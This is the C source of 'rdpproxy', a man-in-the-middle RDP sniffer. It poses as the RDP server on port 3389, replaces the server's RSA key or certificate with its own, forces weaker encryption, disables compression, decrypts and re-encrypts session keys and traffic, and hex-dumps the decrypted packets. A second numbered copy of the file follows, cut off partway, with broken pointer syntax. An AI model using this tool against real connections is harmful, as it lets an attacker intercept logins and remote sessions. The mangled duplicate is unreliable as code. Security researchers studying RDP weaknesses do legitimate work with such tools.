rdpproxy/trunk/rdpproxy.c

/* -*- c-basic-offset: 8 -*-
 * rdpproxy: Man-in-the-middle RDP sniffer
 * Matt Chapman <matthewc@cse.unsw.edu.au>
 */

#define _GNU_SOURCE
#include <stdio.h>              /* perror */
#include <string.h>
#include <unistd.h>             /* select read write close */
#include <fcntl.h>              /* open */
#include <sys/socket.h>         /* socket bind listen accept connect */
#include <netinet/in.h>         /* htons htonl */
#include <netinet/tcp.h>        /* SOL_TCP TCP_NODELAY */
#include <arpa/inet.h>          /* inet_addr */
#include <netdb.h>              /* gethostbyname */

#include <openssl/x509v3.h>
#include "../rdesktop/rdesktop.h"

#if LINUX_NETFILTER
#include <linux/netfilter_ipv4.h>
#endif

#define CLIENT                  0
#define SERVER                  1

#define TCP_PORT_RDP            3389
#define SEC_ENCRYPT             0x0008
#define SEC_RANDOM_SIZE         32
#define SEC_MODULUS_SIZE        64
#define SEC_EXPONENT_SIZE       4

#ifdef USE_X509
#define CA_CERT_FILE    "cacert.der"
#define CERT_FILE       "cert.der"
#define PRIV_KEY_FILE   "privkey.der"
#else
#define PRIV_KEY_FILE   "tsprivkey.der"
#endif

static const unsigned char conn_response_hdr[] = { 0x02, 0xf0, 0x80, 0x7f, 0x66 };
#ifdef USE_X509
static const unsigned char cert_hdr[] = { 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00 };
static const unsigned char cert_hdr2[] = { 0x02, 0x00, 0x00, 0x80, 0x02, 0x00, 0x00, 0x00 };

static const unsigned char server_key_hdr[] = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x04, 0x05, 0x00, 0x03, 0x4b, 0x00 };       /* OID and ASN1 header */
static const unsigned char server_salt_hdr[] =
        { SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0x69, 0x05, 0x00, 0x00 };
/*  ^^^ seems to be 0x1e instead of 0x10 in "my" version of the protocol". It's some kind of length. */
static const unsigned char licence_blob_hdr[] = { 0x00, 0x00, 0x48, 0x00 };     /* not very precise, but hey */
#else
static const unsigned char server_key_hdr[] = { 'R', 'S', 'A', '1' };
static const unsigned char server_salt_hdr[] =
        { SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00 };
#endif

static const unsigned char crypt_type_hdr[] = { 0x02, 0xc0, 0x0c, 0x00 };
static const unsigned char client_salt_hdr[] =
        { 0x01, 0x00, 0x00, 0x00, SEC_MODULUS_SIZE + 8, 0x00, 0x00, 0x00 };


static unsigned char server_salt[SEC_RANDOM_SIZE];
static RSA *server_key;
static RSA *proxy_key;

static int server_key_subst_done;
static int client_key_subst_done;
static int compression_substs_done;
static int faked_packet;

void sec_decrypt(uint8 * data, int length);
void sec_encrypt(uint8 * data, int length);

/* produce a hex dump */
void
hexdump(unsigned char *p, int len)
{
        unsigned char *line = p;
        unsigned int thisline, offset = 0;
        int i;

        if (faked_packet)
        {
                printf("#0, #0 from Server, type TPKT, l: %d, faked\n", len);
                faked_packet = 0;
        }

        while (offset < len)
        {
                printf("%04x ", offset);
                thisline = len - offset;
                if (thisline > 16)
                        thisline = 16;

                for (i = 0; i < thisline; i++)
                        printf("%02x ", line[i]);

                for (; i < 16; i++)
                        printf("   ");

                for (i = 0; i < thisline; i++)
                        printf("%c", (line[i] >= 0x20 && line[i] < 0x7f) ? line[i] : '.');

                printf("\n");
                offset += thisline;
                line += thisline;
        }
        fflush(stdout);
}

/* reverse an array in situ */
static void
reverse(unsigned char *p, unsigned int len)
{
        char temp;
        int i, j;

        for (i = 0, j = len - 1; i < j; i++, j--)
        {
                temp = p[i];
                p[i] = p[j];
                p[j] = temp;
        }
}

static int
read_file(char *filename, char *buffer, int maxlen)
{
        int fd, len;

        fd = open(filename, O_RDONLY);
        if (fd == -1)
        {
                perror(filename);
                return -1;
        }

        len = read(fd, buffer, maxlen);
        close(fd);
        return len;
}

static RSA *
make_public_key(unsigned char *modulus, unsigned char *exponent)
{
        BIGNUM *n, *e;
        RSA *key;

        n = BN_new();
        reverse(modulus, SEC_MODULUS_SIZE);
        BN_bin2bn(modulus, SEC_MODULUS_SIZE, n);

        e = BN_new();
        reverse(exponent, SEC_EXPONENT_SIZE);
        BN_bin2bn(exponent, SEC_EXPONENT_SIZE, e);

        key = RSA_new();
        key->n = n;
        key->e = e;
        return key;

}

static void
substitute_client(unsigned char *buffer, unsigned int len)
{
        unsigned char client_salt[SEC_RANDOM_SIZE];
        unsigned char *key;

        if (client_key_subst_done)
        {
                return;
        }
        else
        {
                printf("Client key substitution not done..\n");
        }

        /* temporary hack - pretend client asked for RDP4-type encryption */
        if (!server_key_subst_done)
        {
                printf("Trying to substitute crypt type..\n");
                key = memmem(buffer, len, crypt_type_hdr, sizeof(crypt_type_hdr));
                if (key == NULL)
                        return;

                key += sizeof(crypt_type_hdr);
                *key = 1;
                printf("Substituted crypt type\n");
                return;
        }

        /* find client salt */
        key = memmem(buffer, len, client_salt_hdr, sizeof(client_salt_hdr));
        if (key == NULL)
        {
                printf("Didn't find client salt\n");
                return;
        }
        else
        {
                printf("Found client salt(!)\n");
        }

        /* reencrypt with server key */
        key += sizeof(client_salt_hdr);
        reverse(key, SEC_MODULUS_SIZE);
               
        printf("RSA_private_decrypt returns %d\n", 
               RSA_private_decrypt(SEC_MODULUS_SIZE, key, key, 
                                   proxy_key, RSA_NO_PADDING));

        //      printf("The 32 bytes before the client salt is:\n");
        //      faked_packet = 1;
        //      hexdump(key, SEC_MODULUS_SIZE-SEC_RANDOM_SIZE);

        memcpy(client_salt, key + SEC_MODULUS_SIZE - SEC_RANDOM_SIZE, SEC_RANDOM_SIZE);
        reverse(client_salt, SEC_RANDOM_SIZE);

        RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING);
        reverse(key, SEC_MODULUS_SIZE);

        /* generate data encryption keys */
        sec_generate_keys(client_salt, server_salt, 1);

        printf("Substituted client salt\n");
        client_key_subst_done = 1;
}

#ifdef USE_X509
static int licence_blob_subst_done;

static void
substitute_licence(unsigned char *buffer, unsigned int len)
{
        unsigned char *key;

        if (licence_blob_subst_done || !client_key_subst_done)
                return;

        key = memmem(buffer, len, licence_blob_hdr, sizeof(licence_blob_hdr));
        if (key == NULL)
                return;

        /* reencrypt with server key */
        key += sizeof(licence_blob_hdr);
        reverse(key, SEC_MODULUS_SIZE);
        RSA_private_decrypt(SEC_MODULUS_SIZE, key, key, proxy_key, RSA_NO_PADDING);

        //      hexdump(key, SEC_MODULUS_SIZE);

        RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING);
        reverse(key, SEC_MODULUS_SIZE);

        printf("Substituted licence blob\n");
        licence_blob_subst_done = 1;
}
#endif

static unsigned int
substitute_server(unsigned char *buffer, unsigned int len)
{
#ifndef USE_X509
        unsigned char server_modulus[SEC_MODULUS_SIZE];
        unsigned char server_exponent[SEC_EXPONENT_SIZE];
#endif
        X509 *x509;
        unsigned char *key, *rsakey;
        unsigned char *mcslen_p;
        unsigned char *userdata_length_p;
        unsigned char *rem_length_p;
        unsigned char *rsainfolen_p;
        unsigned char *cryptinfo_len_p;
        uint16 mcslen, userdata_length, rem_length;
        uint32 cacert_len, cert_len;
        int n, tag, delta;
        uint16 length;
        uint32 rsainfolen = 0;

        if (server_key_subst_done)
                return len;
        key = memmem(buffer + 3, len - 3, conn_response_hdr, sizeof(conn_response_hdr));

        if (NULL == key)
                return len;

        printf("Found MCS response packet\n");

        mcslen_p = key + sizeof(conn_response_hdr) + 1;
        mcslen = buf_in_uint16be(mcslen_p);

        key += sizeof(conn_response_hdr) + 4 * 16;

        rem_length_p = key - 2;
        userdata_length_p = key - 25;

        tag = *key + (*(key + 1) << 8);
        key += 2;

        while (tag != 0x0c02)
        {
                length = *key + (*(key + 1) << 8);
                printf("Got length %x\n", length);
                key += length - 2;
                tag = *key + (*(key + 1) << 8);
                key += 2;
        }

        length = *key + (*(key + 1) << 8);
        printf("Got length %d\n", length);
        cryptinfo_len_p = key;  // Save position of cryptinfo length
        key += 2 + 12;          // Skip length, Skip RC4 key size, Encr. level, Random salt len, RSA info len.
        rsainfolen = buf_in_uint32le(key);
        rsainfolen_p = key;     // Save position of RSA info len.
        key += 4;
        printf("RSA info len: %d\n", rsainfolen);

        memcpy(server_salt, key, SEC_RANDOM_SIZE);

        key += SEC_RANDOM_SIZE;

        /* find RSA key structure */
        rsakey = memmem(buffer, len, server_key_hdr, sizeof(server_key_hdr));
        if (key == NULL)
                return len;
        printf("Found RSA key structure\n");


#ifdef USE_X509

        /* extract server key */
/*      rsakey += sizeof(server_key_hdr); */
/*      server_key = d2i_RSAPublicKey(NULL, &rsakey, len-(rsakey-buffer)); */
/*      printf("RSA_size(server_key): %d\n", RSA_size(server_key)); */
/*      if (server_key == NULL) */
/*      { */
/*              printf("Error parsing public key\n"); */
/*              return len; */
/*      } */

        key += 8;

        cacert_len = buf_in_uint32le(key);
        cert_len = buf_in_uint32le(key + cacert_len + 4);
        rsakey = key + cacert_len + 8;
        x509 = d2i_X509(NULL, &rsakey, cert_len);
        if (NULL == x509)
        {
                printf("Failed to load X509 structure");
                return len;
        }

        if (OBJ_obj2nid(x509->cert_info->key->algor->algorithm) == NID_md5WithRSAEncryption)
        {
                printf("Re-setting algorithm type to RSA ($#¤?=## Microsoft!)\n");
                x509->cert_info->key->algor->algorithm = OBJ_nid2obj(NID_rsaEncryption);
        }

        server_key = (RSA *) X509_get_pubkey(x509)->pkey.ptr;

        /* This is a bit ugly. But who cares? :-)  */

        cacert_len = read_file(CA_CERT_FILE, key + 4, 1024);
        *(unsigned long *) key = cacert_len;    /* FIXME endianness */

        key += 4 + cacert_len;  // Skip length and newly "written" certificate.
        cert_len = read_file(CERT_FILE, key + 4, 1024);
        *(unsigned long *) key = cert_len;      /* FIXME endianness */

        printf("CA cert length is %d, cert length is %d\n", cacert_len, cert_len);

        delta = (cacert_len + cert_len + 32) - rsainfolen;

        if (0 < delta)
        {
                printf("Compensating RSA info len - should be %d\n", rsainfolen + delta);
                buf_out_uint32(rsainfolen_p, rsainfolen + delta);
                printf("Compensating Tagged data length - should be %d\n", length + delta);
                buf_out_uint16le(cryptinfo_len_p, length + delta);
                printf("Compensating MCS data length - should be %d\n", mcslen + delta);
                buf_out_uint16be(mcslen_p, mcslen + delta);
                printf("Compensating packet length - current value %d, should be %d\n",
                       len, len + delta);
                len += delta;
                buf_out_uint16be(buffer + 2, len);
                printf("Padding with zeros at end of packet\n");
                memset(buffer + len + delta - 16, 0, 16);

                rem_length = buf_in_uint16be(rem_length_p) & ~0x8000;
                buf_out_uint16be(rem_length_p, (rem_length + delta) | 0x8000);

                userdata_length = buf_in_uint16be(userdata_length_p);
                buf_out_uint16be(userdata_length_p, userdata_length + delta);

        }
#else

        /* extract server key */
        rsakey += 16;
        memcpy(server_exponent, rsakey, SEC_EXPONENT_SIZE);
        rsakey += SEC_EXPONENT_SIZE;
        memcpy(server_modulus, rsakey, SEC_MODULUS_SIZE);
        server_key = make_public_key(server_modulus, server_exponent);

        /* replace */
        BN_bn2bin(proxy_key->n, rsakey);
        reverse(rsakey, SEC_MODULUS_SIZE);
#endif

        printf("Substituted server key\n");
        faked_packet = 1;
        server_key_subst_done = 1;

        return len;
}

static void
decrypt(unsigned char *buffer, unsigned int len, void (*fn) (unsigned char *buffer, int length))
{
        int encrypted = 0;
        int skip;

        if (buffer[0] == 3)     /* ISO over TCP */
        {
                if (buffer[13] & 0x80)  /* 16-bit length in MCS header */
                        skip = 15 + 12;
                else
                        skip = 14 + 12;

                if (len > skip)
                        encrypted = *(unsigned long *) (buffer + skip - 12) & SEC_ENCRYPT;
        }
        else                    /* assume RDP5 style packet */
        {
                if (buffer[1] & 0x80)   /* 16-bit length */
                        skip = 3 + 8;
                else
                        skip = 2 + 8;

                if (len > skip)
                        encrypted = buffer[0] & 0x80;
        }

        if (encrypted)
        {
                if (client_key_subst_done)
                        fn(buffer + skip, len - skip);
                else
                        printf("Can't decrypt, haven't seen client random!\n");
        }

        if (server_key_subst_done)
                hexdump(buffer, len);
}

static void
substitute_compression(unsigned char *buffer, unsigned int len)
{
        uint32 flags, packetflags;


        if (compression_substs_done)
                return;
        if (!(buffer[7] & 0x64))
        {                       /* Not a MCS SDRQ - actually quite a 
                                   useless check since this function isn't 
                                   called unless the packet is from the client */
                return;
        }

        packetflags = buf_in_uint32le(buffer + 15);
        if (!(packetflags & 0x0040))
                return;         /* Not a RDP Logon info packet */

        flags = buf_in_uint32le(buffer + 31);

        printf("Found the RDP Logon packet, flags is %d (%x)\n", flags, flags);

        if (flags & 0x280)
        {
                printf("Setting compression flags to zero\n");
                flags &= ~0x280;

                buf_out_uint32(buffer + 31, flags);

        }
        printf("Flags is now %d (%x)\n", flags, flags);

        compression_substs_done = 1;
}

static void
decrypt_client(unsigned char *buffer, unsigned int len, int server)
{

        int encrypted = 0;
        int skip;
        unsigned char buffercopy[65536];
        uint8 signature[8];

        if (buffer[0] == 3)     /* ISO over TCP */
        {
                if (buffer[13] & 0x80)  /* 16-bit length in MCS header */
                        skip = 15 + 12;
                else
                        skip = 14 + 12;

                if (len > skip)
                        encrypted = *(unsigned long *) (buffer + skip - 12) & SEC_ENCRYPT;
        }
        else                    /* assume RDP5 style packet */
        {
                if (buffer[1] & 0x80)   /* 16-bit length */
                        skip = 3 + 8;
                else
                        skip = 2 + 8;

                if (len > skip)
                        encrypted = buffer[0] & 0x80;
        }

        substitute_client(buffer, len);


        if (encrypted && client_key_subst_done)
        {
                sec_encrypt(buffer + skip, len - skip);
                memset(signature, 0, 8);

                /* This is where you can put substitution code */

                substitute_compression(buffer, len);

#ifdef USE_X509
                substitute_licence(buffer, len);
#endif
                sec_sign_buf(signature, 8, buffer + skip, len - skip);
                printf("Signature should be ");
                hexdump(signature, 8);
                hexdump(buffer, len);
                memcpy(buffer + skip - 8, signature, 8);
                sec_encrypt2(buffer + skip, len - skip);
        }
        else
        {
                printf("Can't decrypt, haven't seen client random!\n");
                hexdump(buffer, len);
        }

        send(server, buffer, len, 0);


}

static int
recv_pdu(int fd, unsigned char *buffer, unsigned int len, int part)
{
        unsigned int pdulen;
        int res;

        static int clnt_packetnr;
        static int srvr_packetnr;
        static int total_packetnr;

        res = recv(fd, buffer, 4, MSG_WAITALL);
        if (res <= 0)
                return res;

        if (CLIENT == part)
        {
                printf("#%d, #%d from Client, ", ++total_packetnr, ++clnt_packetnr);
        }
        else
        {
                printf("#%d, #%d from Server, ", ++total_packetnr, ++srvr_packetnr);
        }


        if (buffer[0] == 3)     /* ISO over TCP */
        {
                pdulen = ((unsigned int) buffer[2] << 8) | buffer[3];
                printf("type TPKT, l: %d, ", pdulen);

        }
        else                    /* assume RDP5 style packet */
        {
                pdulen = buffer[1];

                if (pdulen & 0x80)
                        pdulen = ((pdulen & 0x7f) << 8) | buffer[2];
                printf("type RDP5, l: %d, ", pdulen);
        }

        if (pdulen > len)
        {
                fprintf(stderr, "PDU size %d would overflow buffer\n", pdulen);
                return 0;
        }

        res = recv(fd, buffer + 4, pdulen - 4, MSG_WAITALL);
        if (res <= 0)
                return res;

        printf("read %d bytes\n", res + 4);

        return (res + 4);
}

static void
relay(int client, int server)
{
        unsigned char buffer[65536];
        fd_set fds;
        int max, len;

        FD_ZERO(&fds);
        max = (client > server) ? client : server;

        while (1)
        {
                FD_SET(client, &fds);
                FD_SET(server, &fds);

                switch (select(max + 1, &fds, NULL, NULL, NULL))
                {
                        case -1:
                                perror("select");

                        case 0:
                                return;
                }

                if (FD_ISSET(client, &fds))
                {
                        len = recv_pdu(client, buffer, sizeof(buffer), CLIENT);
                        switch (len)
                        {
                                case -1:
                                        perror("client recv");
                                case 0:
                                        return;
                        }

                        decrypt_client(buffer, len, server);
                }

                if (FD_ISSET(server, &fds))
                {
                        len = recv_pdu(server, buffer, sizeof(buffer), SERVER);
                        switch (len)
                        {
                                case -1:
                                        perror("server recv");
                                case 0:
                                        return;
                        }
                        if (!server_key_subst_done)
                        {
                                hexdump(buffer, len);
                        }
                        len = substitute_server(buffer, len);
                        send(client, buffer, len, 0);
                        decrypt(buffer, len, sec_decrypt);
                }
        }
}

int
main(int argc, char *argv[])
{
        struct sockaddr_in listener_addr;
        struct sockaddr_in server_addr;
        struct hostent *nslookup;
        int listener, client, server;
        unsigned char privkey_buffer[1024];
        unsigned char *privkey = privkey_buffer;
        int true = 1;
        int n;

#ifndef LINUX_NETFILTER
        if (argc < 2)
        {
                printf("Usage: rdpproxy <server ip>\n");
                return 1;
        }
#endif

        n = read_file(PRIV_KEY_FILE, privkey_buffer, sizeof(privkey_buffer));


        proxy_key = d2i_RSAPrivateKey(NULL, &privkey, n);
        memset(privkey_buffer, 0, sizeof(privkey_buffer));
        if (proxy_key == NULL)
        {
                printf("Error loading private key\n");
                return 1;
        }

        if ((listener = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return 1;
        }

        listener_addr.sin_family = AF_INET;
        listener_addr.sin_port = htons(TCP_PORT_RDP);
        listener_addr.sin_addr.s_addr = htonl(INADDR_ANY);

        setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &true, sizeof(true));

        if (bind(listener, (struct sockaddr *) &listener_addr, sizeof(listener_addr)) < 0)
        {
                perror("bind");
                return 1;
        }

        if (listen(listener, 1) < 0)
        {
                perror("listen");
                return 1;
        }

        printf("RDPPROXY: waiting for connection...\n");

        if ((client = accept(listener, NULL, NULL)) < 0)
        {
                perror("accept");
                return 1;
        }

        if ((server = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return 1;
        }

        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(TCP_PORT_RDP);

#ifdef LINUX_NETFILTER
        if (argc < 2)
        {
                /* Fetch server address from netfilter */
                size_t sock_sz;
                sock_sz = sizeof(server_addr);

                if (getsockopt(client, SOL_IP, SO_ORIGINAL_DST, &server_addr, &sock_sz) != 0)
                {
                        perror("getsockopt");
                        fprintf(stderr, "Not a redirected connection?\n");
                        exit(1);
                }

                fprintf(stderr, "server IP = %s\n", inet_ntoa(server_addr.sin_addr));
        }
        else
#endif
        {
                /* Use server name from command line */
                if (NULL != (nslookup = gethostbyname(argv[1])))
                {
                        memcpy(&server_addr.sin_addr, nslookup->h_addr,
                               sizeof(server_addr.sin_addr));
                }
                else if (INADDR_NONE == (server_addr.sin_addr.s_addr = inet_addr(argv[1])))
                {
                        printf("%s: Unable to resolve host\n", argv[1]);
                        return 1;
                }
        }

        if (connect(server, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0)
        {
                perror("connect");
                return 1;
        }

        setsockopt(client, SOL_TCP, TCP_NODELAY, &true, sizeof(true));
        setsockopt(server, SOL_TCP, TCP_NODELAY, &true, sizeof(true));

        relay(client, server);

        close(server);
        close(client);
        return 0;
}
1	/* -- c-basic-offset: 8 --
2	* rdpproxy: Man-in-the-middle RDP sniffer
3	* Matt Chapman <matthewc@cse.unsw.edu.au>
4	*/
5
6	#define _GNU_SOURCE
7	#include <stdio.h> /* perror */
8	#include <string.h>
9	#include <unistd.h> /* select read write close */
10	#include <fcntl.h> /* open */
11	#include <sys/socket.h> /* socket bind listen accept connect */
12	#include <netinet/in.h> /* htons htonl */
13	#include <netinet/tcp.h> /* SOL_TCP TCP_NODELAY */
14	#include <arpa/inet.h> /* inet_addr */
15	#include <netdb.h> /* gethostbyname */
16
17	#include <openssl/x509v3.h>
18	#include "../rdesktop/rdesktop.h"
19
20	#if LINUX_NETFILTER
21	#include <linux/netfilter_ipv4.h>
22	#endif
23
24	#define CLIENT 0
25	#define SERVER 1
26
27	#define TCP_PORT_RDP 3389
28	#define SEC_ENCRYPT 0x0008
29	#define SEC_RANDOM_SIZE 32
30	#define SEC_MODULUS_SIZE 64
31	#define SEC_EXPONENT_SIZE 4
32
33	#ifdef USE_X509
34	#define CA_CERT_FILE "cacert.der"
35	#define CERT_FILE "cert.der"
36	#define PRIV_KEY_FILE "privkey.der"
37	#else
38	#define PRIV_KEY_FILE "tsprivkey.der"
39	#endif
40
41	static const unsigned char conn_response_hdr[] = { 0x02, 0xf0, 0x80, 0x7f, 0x66 };
42	#ifdef USE_X509
43	static const unsigned char cert_hdr[] = { 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00 };
44	static const unsigned char cert_hdr2[] = { 0x02, 0x00, 0x00, 0x80, 0x02, 0x00, 0x00, 0x00 };
45
46	static const unsigned char server_key_hdr[] = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x04, 0x05, 0x00, 0x03, 0x4b, 0x00 }; /* OID and ASN1 header */
47	static const unsigned char server_salt_hdr[] =
48	{ SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0x69, 0x05, 0x00, 0x00 };
49	/* ^^^ seems to be 0x1e instead of 0x10 in "my" version of the protocol". It's some kind of length. */
50	static const unsigned char licence_blob_hdr[] = { 0x00, 0x00, 0x48, 0x00 }; /* not very precise, but hey */
51	#else
52	static const unsigned char server_key_hdr[] = { 'R', 'S', 'A', '1' };
53	static const unsigned char server_salt_hdr[] =
54	{ SEC_RANDOM_SIZE, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00 };
55	#endif
56
57	static const unsigned char crypt_type_hdr[] = { 0x02, 0xc0, 0x0c, 0x00 };
58	static const unsigned char client_salt_hdr[] =
59	{ 0x01, 0x00, 0x00, 0x00, SEC_MODULUS_SIZE + 8, 0x00, 0x00, 0x00 };
60
61
62	static unsigned char server_salt[SEC_RANDOM_SIZE];
63	static RSA *server_key;
64	static RSA *proxy_key;
65
66	static int server_key_subst_done;
67	static int client_key_subst_done;
68	static int compression_substs_done;
69	static int faked_packet;
70
71	void sec_decrypt(uint8 * data, int length);
72	void sec_encrypt(uint8 * data, int length);
73
74	/* produce a hex dump */
75	void
76	hexdump(unsigned char *p, int len)
77	{
78	unsigned char *line = p;
79	unsigned int thisline, offset = 0;
80	int i;
81
82	if (faked_packet)
83	{
84	printf("#0, #0 from Server, type TPKT, l: %d, faked\n", len);
85	faked_packet = 0;
86	}
87
88	while (offset < len)
89	{
90	printf("%04x ", offset);
91	thisline = len - offset;
92	if (thisline > 16)
93	thisline = 16;
94
95	for (i = 0; i < thisline; i++)
96	printf("%02x ", line[i]);
97
98	for (; i < 16; i++)
99	printf(" ");
100
101	for (i = 0; i < thisline; i++)
102	printf("%c", (line[i] >= 0x20 && line[i] < 0x7f) ? line[i] : '.');
103
104	printf("\n");
105	offset += thisline;
106	line += thisline;
107	}
108	fflush(stdout);
109	}
110
111	/* reverse an array in situ */
112	static void
113	reverse(unsigned char *p, unsigned int len)
114	{
115	char temp;
116	int i, j;
117
118	for (i = 0, j = len - 1; i < j; i++, j--)
119	{
120	temp = p[i];
121	p[i] = p[j];
122	p[j] = temp;
123	}
124	}
125
126	static int
127	read_file(char filename, char buffer, int maxlen)
128	{
129	int fd, len;
130
131	fd = open(filename, O_RDONLY);
132	if (fd == -1)
133	{
134	perror(filename);
135	return -1;
136	}
137
138	len = read(fd, buffer, maxlen);
139	close(fd);
140	return len;
141	}
142
143	static RSA *
144	make_public_key(unsigned char modulus, unsigned char exponent)
145	{
146	BIGNUM n, e;
147	RSA *key;
148
149	n = BN_new();
150	reverse(modulus, SEC_MODULUS_SIZE);
151	BN_bin2bn(modulus, SEC_MODULUS_SIZE, n);
152
153	e = BN_new();
154	reverse(exponent, SEC_EXPONENT_SIZE);
155	BN_bin2bn(exponent, SEC_EXPONENT_SIZE, e);
156
157	key = RSA_new();
158	key->n = n;
159	key->e = e;
160	return key;
161
162	}
163
164	static void
165	substitute_client(unsigned char *buffer, unsigned int len)
166	{
167	unsigned char client_salt[SEC_RANDOM_SIZE];
168	unsigned char *key;
169
170	if (client_key_subst_done)
171	{
172	return;
173	}
174	else
175	{
176	printf("Client key substitution not done..\n");
177	}
178
179	/* temporary hack - pretend client asked for RDP4-type encryption */
180	if (!server_key_subst_done)
181	{
182	printf("Trying to substitute crypt type..\n");
183	key = memmem(buffer, len, crypt_type_hdr, sizeof(crypt_type_hdr));
184	if (key == NULL)
185	return;
186
187	key += sizeof(crypt_type_hdr);
188	*key = 1;
189	printf("Substituted crypt type\n");
190	return;
191	}
192
193	/* find client salt */
194	key = memmem(buffer, len, client_salt_hdr, sizeof(client_salt_hdr));
195	if (key == NULL)
196	{
197	printf("Didn't find client salt\n");
198	return;
199	}
200	else
201	{
202	printf("Found client salt(!)\n");
203	}
204
205	/* reencrypt with server key */
206	key += sizeof(client_salt_hdr);
207	reverse(key, SEC_MODULUS_SIZE);
208
209	printf("RSA_private_decrypt returns %d\n",
210	RSA_private_decrypt(SEC_MODULUS_SIZE, key, key,
211	proxy_key, RSA_NO_PADDING));
212
213	// printf("The 32 bytes before the client salt is:\n");
214	// faked_packet = 1;
215	// hexdump(key, SEC_MODULUS_SIZE-SEC_RANDOM_SIZE);
216
217	memcpy(client_salt, key + SEC_MODULUS_SIZE - SEC_RANDOM_SIZE, SEC_RANDOM_SIZE);
218	reverse(client_salt, SEC_RANDOM_SIZE);
219
220	RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING);
221	reverse(key, SEC_MODULUS_SIZE);
222
223	/* generate data encryption keys */
224	sec_generate_keys(client_salt, server_salt, 1);
225
226	printf("Substituted client salt\n");
227	client_key_subst_done = 1;
228	}
229
230	#ifdef USE_X509
231	static int licence_blob_subst_done;
232
233	static void
234	substitute_licence(unsigned char *buffer, unsigned int len)
235	{
236	unsigned char *key;
237
238	if (licence_blob_subst_done \|\| !client_key_subst_done)
239	return;
240
241	key = memmem(buffer, len, licence_blob_hdr, sizeof(licence_blob_hdr));
242	if (key == NULL)
243	return;
244
245	/* reencrypt with server key */
246	key += sizeof(licence_blob_hdr);
247	reverse(key, SEC_MODULUS_SIZE);
248	RSA_private_decrypt(SEC_MODULUS_SIZE, key, key, proxy_key, RSA_NO_PADDING);
249
250	// hexdump(key, SEC_MODULUS_SIZE);
251
252	RSA_public_encrypt(SEC_MODULUS_SIZE, key, key, server_key, RSA_NO_PADDING);
253	reverse(key, SEC_MODULUS_SIZE);
254
255	printf("Substituted licence blob\n");
256	licence_blob_subst_done = 1;
257	}
258	#endif
259
260	static unsigned int
261	substitute_server(unsigned char *buffer, unsigned int len)
262	{
263	#ifndef USE_X509
264	unsigned char server_modulus[SEC_MODULUS_SIZE];
265	unsigned char server_exponent[SEC_EXPONENT_SIZE];
266	#endif
267	X509 *x509;
268	unsigned char key, rsakey;
269	unsigned char *mcslen_p;
270	unsigned char *userdata_length_p;
271	unsigned char *rem_length_p;
272	unsigned char *rsainfolen_p;
273	unsigned char *cryptinfo_len_p;
274	uint16 mcslen, userdata_length, rem_length;
275	uint32 cacert_len, cert_len;
276	int n, tag, delta;
277	uint16 length;
278	uint32 rsainfolen = 0;
279
280	if (server_key_subst_done)
281	return len;
282	key = memmem(buffer + 3, len - 3, conn_response_hdr, sizeof(conn_response_hdr));
283
284	if (NULL == key)
285	return len;
286
287	printf("Found MCS response packet\n");
288
289	mcslen_p = key + sizeof(conn_response_hdr) + 1;
290	mcslen = buf_in_uint16be(mcslen_p);
291
292	key += sizeof(conn_response_hdr) + 4 * 16;
293
294	rem_length_p = key - 2;
295	userdata_length_p = key - 25;
296
297	tag = key + ((key + 1) << 8);
298	key += 2;
299
300	while (tag != 0x0c02)
301	{
302	length = key + ((key + 1) << 8);
303	printf("Got length %x\n", length);
304	key += length - 2;
305	tag = key + ((key + 1) << 8);
306	key += 2;
307	}
308
309	length = key + ((key + 1) << 8);
310	printf("Got length %d\n", length);
311	cryptinfo_len_p = key; // Save position of cryptinfo length
312	key += 2 + 12; // Skip length, Skip RC4 key size, Encr. level, Random salt len, RSA info len.
313	rsainfolen = buf_in_uint32le(key);
314	rsainfolen_p = key; // Save position of RSA info len.
315	key += 4;
316	printf("RSA info len: %d\n", rsainfolen);
317
318	memcpy(server_salt, key, SEC_RANDOM_SIZE);
319
320	key += SEC_RANDOM_SIZE;
321
322	/* find RSA key structure */
323	rsakey = memmem(buffer, len, server_key_hdr, sizeof(server_key_hdr));
324	if (key == NULL)
325	return len;
326	printf("Found RSA key structure\n");
327
328
329	#ifdef USE_X509
330
331	/* extract server key */
332	/* rsakey += sizeof(server_key_hdr); */
333	/* server_key = d2i_RSAPublicKey(NULL, &rsakey, len-(rsakey-buffer)); */
334	/* printf("RSA_size(server_key): %d\n", RSA_size(server_key)); */
335	/* if (server_key == NULL) */
336	/* { */
337	/* printf("Error parsing public key\n"); */
338	/* return len; */
339	/* } */
340
341	key += 8;
342
343	cacert_len = buf_in_uint32le(key);
344	cert_len = buf_in_uint32le(key + cacert_len + 4);
345	rsakey = key + cacert_len + 8;
346	x509 = d2i_X509(NULL, &rsakey, cert_len);
347	if (NULL == x509)
348	{
349	printf("Failed to load X509 structure");
350	return len;
351	}
352
353	if (OBJ_obj2nid(x509->cert_info->key->algor->algorithm) == NID_md5WithRSAEncryption)
354	{
355	printf("Re-setting algorithm type to RSA ($#¤?=## Microsoft!)\n");
356	x509->cert_info->key->algor->algorithm = OBJ_nid2obj(NID_rsaEncryption);
357	}
358
359	server_key = (RSA *) X509_get_pubkey(x509)->pkey.ptr;
360
361	/* This is a bit ugly. But who cares? :-) */
362
363	cacert_len = read_file(CA_CERT_FILE, key + 4, 1024);
364	(unsigned long ) key = cacert_len; /* FIXME endianness */
365
366	key += 4 + cacert_len; // Skip length and newly "written" certificate.
367	cert_len = read_file(CERT_FILE, key + 4, 1024);
